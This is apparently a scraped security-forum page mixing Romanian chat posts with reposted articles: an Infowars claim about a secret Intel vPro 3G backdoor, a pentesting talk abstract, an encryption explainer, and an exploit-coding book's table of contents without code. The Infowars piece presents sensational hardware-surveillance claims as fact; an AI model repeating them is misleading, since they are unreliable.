Nytro

Mai grav e sa iti dai buletinu' unei gagici cu promotii la tigari Doar politia si in anumite cazuri jandarmeria au voie sa ceara buletinul. Iar gagica nu a prezentat nicio legitimatie. Desi cred ca i-ar fi stat bine in uniforma de gaborita.

Ai cui sunt banii?

Imi dati PM daca va hotarati. Muie.

“Secret” 3G Intel Chip Gives Snoops Backdoor PC Access vPro processors allow remote access even when computer is turned off Paul Joseph Watson Infowars.com September 26, 2013 Intel Core vPro processors contain a “secret” 3G chip that allows remote disabling and backdoor access to any computer even when it is turned off. Image: Intel Core vPro. Although the technology has actually been around for a while, the attendant privacy concerns are only just being aired. The “secret” 3G chip that Intel added to its processors in 2011 caused little consternation until the NSA spying issue exploded earlier this year as a result of Edward Snowden’s revelations. In a promotional video for the technology, Intel brags that the chips actually offer enhanced security because they don’t require computers to be “powered on” and allow problems to be fixed remotely. The promo also highlights the ability for an administrator to shut down PCs remotely “even if the PC is not connected to the network,” as well as the ability to bypass hard drive encryption. “Intel actually embedded the 3G radio chip in order to enable its Anti Theft 3.0 technology. And since that technology is found on every Core i3/i5/i7 CPU after Sandy Bridge, that means a lot of CPUs, not just new vPro, might have a secret 3G connection nobody knew about until now,” reports Softpedia. Jeff Marek, director of business client engineering for Intel, acknowledged that the company’s Sandy Bridge” microprocessor, which was released in 2011, had “the ability to remotely kill and restore a lost or stolen PC via 3G.” “Core vPro processors contain a second physical processor embedded within the main processor which has it’s own operating system embedded on the chip itself,” writes Jim Stone. “As long as the power supply is available and in working condition, it can be woken up by the Core vPro processor, which runs on the system’s phantom power and is able to quietly turn individual hardware components on and access anything on them.” Although the technology is being promoted as a convenient way for IT experts to troubleshoot PC issues remotely, it also allows hackers or NSA snoops to view the entire contents of somebody’s hard drive, even when the power is off and the computer is not connected to a wi-fi network. It also allows third parties to remotely disable any computer via the “secret” 3G chip that is built into Intel’s Sandy Bridge processors. Webcams could also be remotely accessed. “This combination of hardware from Intel enables vPro access ports which operate independently of normal user operations,” reports TG Daily. “These include out-of-band communications (communications that exist outside of the scope of anything the machine might be doing through an OS or hypervisor), monitoring and altering of incoming and outgoing network traffic. In short, it operates covertly and snoops and potentially manipulates data.” Not only does this represent a privacy nightmare, it also dramatically increases the risk of industrial espionage. The ability for third parties to have remote 3G access to PCs would also allow unwanted content to be placed on somebody’s hard drive, making it easier for intelligence agencies and corrupt law enforcement bodies to frame people. “The bottom line? The Core vPro processor is the end of any pretend privacy,” writes Stone. “If you think encryption, Norton, or anything else is going to ensure your privacy, including never hooking up to the web at all, think again. There is now more than just a ghost in the machine.” Facebook @ https://www.facebook.com/paul.j.watson.71FOLLOW Paul Joseph Watson @ https://twitter.com/PrisonPlanet ********************* Paul Joseph Watson is the editor and writer for Infowars.com and Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a host for Infowars Nightly News. Sursa: “Secret” 3G Intel Chip Gives Snoops Backdoor PC Access

La 19:00 in fata la Mc (sus) la Unirea. Cine vine sa imi dea PM.

Louisville Infosec 2013 - Past Due: Practical Web Service Vulnerability Assessment For Pen-Testers, Developers, And Qa - Jeremy Druin Description: Because web services facilitate mobile application development, support “Web 2.0” web applications, and integrate modern applications with legacy systems, web services are increasingly common. Like more familiar web applications, web services may be vulnerable to OWASP Top Ten issues. However, the evaluation of web services has not reached the level of automation and maturity of application assessment. We will provide an overview of web services and demonstrate a practical approach to assessing services for security vulnerabilities. Jeremy Druin works as an internal pen-tester, vulnerability management, and defect-remediation expert for a multi-national transportation logistics company. Jeremy manages web vulnerability assessment operations, authored corporate application and database security standards, created the developer training program, and teaches developers how to architect, design and write secure applications. Additionally Jeremy develops the open-source Mutillidae II training environment and consults on web-application security topics. As the Director of Education for the Kentuckiana ISSA chapter, Jeremy presents on application vulnerabilities, pen-testing and remediation along with operating the “webpwnized” YouTube video channel. Jeremy has a Bachelor in Computer Science from Indiana University and is a CompTIA and GIAC-certified Network/Web Application Pen-Tester and Exploit Developer. For More Information please visit : - Louisville Metro InfoSec - Theme: Mobile Security Louisville Infosec 2013 Videos Sursa: Louisville Infosec 2013 - Past Due: Practical Web Service Vulnerability Assessment For Pen-Testers, Developers, And Qa - Jeremy Druin

Sa vad daca ne strangem, dar nu cred ca o sa fim prea multi.

Symmetric and Asymmetric Encryption 1. Introduction This article explains how symmetric and asymmetric encryption work. It also describes how to build a secure mail system using these two types of encryption. 2. Symmetric Encryption Let’s assume that Alice wants to talk to Bob. She wants to keep the message secret. Bob is the only one who should be able to read the message. The message is confidential, so Alice uses a key to encrypt the message. The original message is called a plaintext while the encrypted message is called a ciphertext. The ciphertext is sent to Bob, who knows the key and uses the same symmetric cipher (e.g., AES or 3DES). Thus Bob is able to decrypt the message. Alice and Bob share the key, which is called symmetric. They are the only ones who know the key and no one else is able to read the encrypted message. This way, confidentiality is achieved. 2.1 Key Length vs. Security The key space doubles when one bit is added to the key. Longer keys are better, but don’t necessarily increase security. Because people tend to use patterns for passwords, the attacker can build a dictionary of commonly used passwords and launch a dictionary attack. This way the attacker can save time, because he doesn’t have to brute force the whole key space. 2.2 Symmetric vs. Session Key The symmetric key can be changed every time Alice communicates with Bob. Then it is called a session key (randomly generated and valid only for one session). If an attacker grabs the session key, he can decrypt only the messages from one session. If Alice and Bob always used the same key, the attacker would be able to decrypt all messages encrypted with this key. 2.3 Scalability and Secure Key Distribution There are a few problems with symmetric ciphers. This system is not scalable. If there are 1,000 people who want to communicate with each other, everyone needs 999 different keys to establish separate and confidential communication channels. Secure key distribution is another problem. The security of the system is broken if a man-in-the-middle can grab the key while it is being transmitted from Alice to Bob. 3. Asymmetric Encryption Two keys are used in asymmetric cipher (e.g., RSA)—a public and a private one. The public one is available for everyone, but the private one is known only by the owner. When the message is encrypted with the public key, only the corresponding private key can decrypt it. Moreover, the private key can’t be learned from the public one. Asymmetric cipher solves the problem of secure key distribution. Alice takes Bob’s public key and uses it to encrypt the session key. Only Bob can then decrypt the encrypted session key, because he is the only one who knows the corresponding private key. Asymmetric ciphers are quite slow when compared with the symmetric ones, which is why asymmetric ciphers are used only to securely distribute the key. Then, Alice and Bob can use symmetric cipher and the session key to make the communication confidential. Use of an asymmetric cipher also solves the scalability problem. Everyone will need only one public key and one private key to communicate with other people. 4. Mail Security Let’s analyze how symmetric and asymmetric encryption can be used to build secure mail system. 4.1 Achieving Message Confidentiality Alice is going to send a mail to Bob. She wants to keep the message secret. Bob is the only one who should be able to read the message. Confidentiality can be achieved by using symmetric encryption. The key used for symmetric encryption (the session key) needs to be securely sent to Bob. Asymmetric encryption is used for the purpose of secure key distribution. Let’s analyze this process step by step. Alice generates a session key (SESSION_KEY) and encrypts it with Bob’s public key (PUB_KEY_BOB). The result is PUB_KEY_BOB (SESSION_KEY), which is denoted by PART1. Then the message (MESSAGE) is encrypted with SESSION_KEY. The result is SESSION_KEY(MESSAGE), which is denoted by PART2. Finally PART1 and PART2 are sent to Bob. Only Bob can decrypt PART1, because he is the only one who knows the corresponding private key (PRIV_KEY_BOB). Bob decrypts PART1 and gets the SESSION_KEY. Then he uses SESSION_KEY to decrypt PART2 and get the MESSAGE. 4.2 Achieving Message Confidentiality, Integrity, and Authentication of the Sender Let’s discuss a more complicated case. Alice is going to send a mail to Bob. Bob wants to verify the sender of the message and check whether its integrity is preserved. Moreover, the message should be kept secret. Bob is the only one who should be able to read the message. Let’s analyze this process step by step. Alice generates a session key (SESSION_KEY) and encrypts it with Bob’s public key (PUB_KEY_BOB). The result is PUB_KEY_BOB (SESSION_KEY), which is denoted by PART1. The message (MESSAGE) is hashed by Alice. The result is H(MESSAGE). The ideal hash function is irreversible (one can’t get the message from the hash) and there are no two different messages MESSAGE1 and MESSAGE2 having the same hash. Then H(MESSAGE) is encrypted with the private key of Alice (PRIV_KEY_ALICE). The result is PRIV_KEY_ALICE(H(MESSAGE)), which is a digital signature of MESSAGE signed by Alice and is denoted by DIGITAL_SIGNATURE. MESSAGE and DIGITAL_SIGNATURE are encrypted with SESSION_KEY. The result is SESSION_KEY(MESSAGE concatenated with DIGITAL SIGNATURE), which is denoted by PART2. Finally PART1 and PART2 are sent to Bob. Only Bob can decrypt PART1, because he is the only one who knows the corresponding private key (PRIV_KEY_BOB). Bob decrypts PART1 and gets the SESSION_KEY. Then he uses SESSION_KEY to decrypt PART2 and gets MESSAGE concatenated with DIGITAL SIGNATURE. Bob uses Alice’s public key (PUB_KEY_ALICE) to decrypt DIGITAL_SIGNATURE. The result of decryption is H(MESSAGE). Then Bob calculates hash of MESSAGE and compares the result with decrypted DIGITAL_SIGNATURE. When they match, Bob knows that it was Alice who sent the message and exactly what message was sent by Alice. 5. Conclusions - Symmetric encryption is used to provide confidentiality of the message. - Asymmetric encryption is used to securely distribute the session key. - Asymmetric encryption solves the scalability problem related with symmetric encryption . By Dawid Czagan|October 23rd, 2013 Sursa: Symmetric and Asymmetric Encryption - InfoSec Institute

Sockets, Shellcode, Porting & Coding REVERSE ENGINEERING EXPLOITS AND TOOL CODING FOR SECURITY PROFESSIONALS James C. Foster with Mike Price Foreword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxvii Chapter 1 Security Coding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2 C/C++ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3 Language Characteristics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3 C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3 Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4 Hello,World! Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5 Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5 Flow Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .8 Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .9 Classes (C++ Only) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .10 Case Study: Fourier Estimation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .12 Fourier Estimation Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .12 Java . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .14 Language Characteristics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .15 Object Oriented . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .15 Platform Independence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16 Multithreading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16 Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16 Advanced Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16 Hello,World! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .17 Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .17 Flow Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .18 Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .20 Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .20 GET HTTP Headers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .22 C# . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .23 Business Case for Migrating to C# . . . . . . . . . . . . . . . . . . . . . . . . . . . . .24 Language Characteristics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .24 Object-Oriented . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .24 Other Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .25 Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .25 C#’s Hello,World! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .26 xiv Contents Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .26 Flow Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .27 Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .29 Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .30 C# Threading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .31 Case Study: Command Line IP Address Parsing . . . . . . . . . . . . . . . . . . . .32 Perl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .40 Data Types . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .41 Operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .42 A Sample Perl Script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .45 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .46 Special Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .46 Pattern Matching and Substitution . . . . . . . . . . . . . . . . . . . . . . . . . . . . .47 Regular Expression Modifiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .48 Canonical Perl Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .49 I Am a Perl Coder! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .49 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .50 A Log Modification Utility . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .50 Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .53 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .53 Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .55 InlineEgg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .56 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .57 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .58 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .60 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .61 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .62 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .63 Chapter 2 NASL Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .66 History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .66 Goals of NASL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .66 Simplicity and Convenience . . . . . . . . . . . . . . . . . . . . . . . . . . . . .67 Modularity and Efficiency . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .67 Safety . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .67 NASL’s Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .67 NASL Script Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .68 Comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .68 Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .68 Operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .70 Control Structures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .74 Writing NASL Scripts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .77 Writing Personal-use Tools in NASL . . . . . . . . . . . . . . . . . . . . . . . . . . .78 Networking Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .78 HTTP Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .78 Packet Manipulation Functions . . . . . . . . . . . . . . . . . . . . . . . . . . .78 Contents xv String Manipulation Functions . . . . . . . . . . . . . . . . . . . . . . . . . . .79 Cryptographic Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .79 The NASL Command Line Interpreter . . . . . . . . . . . . . . . . . . . . .79 Programming in the Nessus Framework . . . . . . . . . . . . . . . . . . . . . . . . .80 Descriptive Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .80 Case Study:The Canonical NASL Script . . . . . . . . . . . . . . . . . . . . . . . . . . . . .82 Porting to and from NASL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .86 Logic Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .86 Identify Logic . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .86 Pseudo Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .87 Porting to NASL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .88 Porting to NASL from C/C++ . . . . . . . . . . . . . . . . . . . . . . . . . . .89 Porting from NASL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .94 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .95 Solutions FastTrack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .95 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .97 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .97 Chapter 3 BSD Sockets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .100 Introduction to BSD Sockets Programming . . . . . . . . . . . . . . . . . . . . . . . . . .100 TCP Clients and Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .101 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .102 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .102 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .102 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .105 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .105 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .106 UDP Clients and Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .107 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .109 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .109 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .109 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .111 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .111 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .111 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .113 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .113 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .113 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .115 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .115 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .115 Socket Options . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .116 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .118 Network Scanning with UDP Sockets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .118 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .125 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .125 xvi Contents Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .125 Network Scanning with TCP Sockets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .127 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .136 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .136 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .136 Threading and Parallelism . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .139 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .141 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .141 Links to Sites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .143 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .143 Chapter 4 Windows Sockets (Winsock) . . . . . . . . . . . . . . . . . . . . . . . 145 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .146 Winsock Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .146 Winsock 2.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .148 Linking through Visual Studio 6.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . .148 Linking through Source Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .148 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .150 Case Study: Using WinSock to Grab a Web Page . . . . . . . . . . . . . . . . . . . . . .153 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .154 Writing Client Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .154 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .156 Writing Server Applications . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .158 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .160 Writing Exploit and Vulnerability Checking Programs . . . . . . . . . . . . . . . . . .161 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .167 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .168 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .169 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .170 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .170 Case Study: Using WinSock to Execute a Web Attack . . . . . . . . . . . . . . . . . .172 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .173 Case Study: Using Winsock to Execute a Remote Buffer Overflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .174 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .176 Chapter 5 Java Sockets. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .178 An Overview of TCP/IP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .178 TCP Clients . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .179 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .181 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .181 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .182 IP Addresses and Hostname Resolution . . . . . . . . . . . . . . . . . . . . . . . .183 Contents xvii Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .184 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .184 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .185 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .185 Text-Based Input/Output:The LineNumberReader Class . . . . . . . . . . .186 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .188 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .188 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .189 TCP Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .189 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .192 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .192 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .192 Using a Web Browser to Connect to TCPServer1 . . . . . . . . . . . . . . . . .193 Handling Multiple Connections . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .194 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .200 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .200 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .201 WormCatcher . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .204 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .207 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .207 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .208 UDP Clients and Servers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .209 Compilation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .213 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .214 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .214 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .217 Solutions Fast Track . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .217 Frequently Asked Questions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .218 Chapter 6 Writing Portable Code. . . . . . . . . . . . . . . . . . . . . . . . . . . . 221 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .222 UNIX and Microsoft Windows Porting Guide . . . . . . . . . . . . . . . . . . . . . . . .222 Pre-compiler Directives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .222 Using ifdefs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .223 Determining the Operating System . . . . . . . . . . . . . . . . . . . . . . . . . . .225 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .226 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .226 Byte Ordering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .226 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .227 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .228 Process Creation and Termination . . . . . . . . . . . . . . . . . . . . . . . . . . . . .229 exec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .229 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .229 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .230 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .230 Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .230 Example Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .233 xviii Contents Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 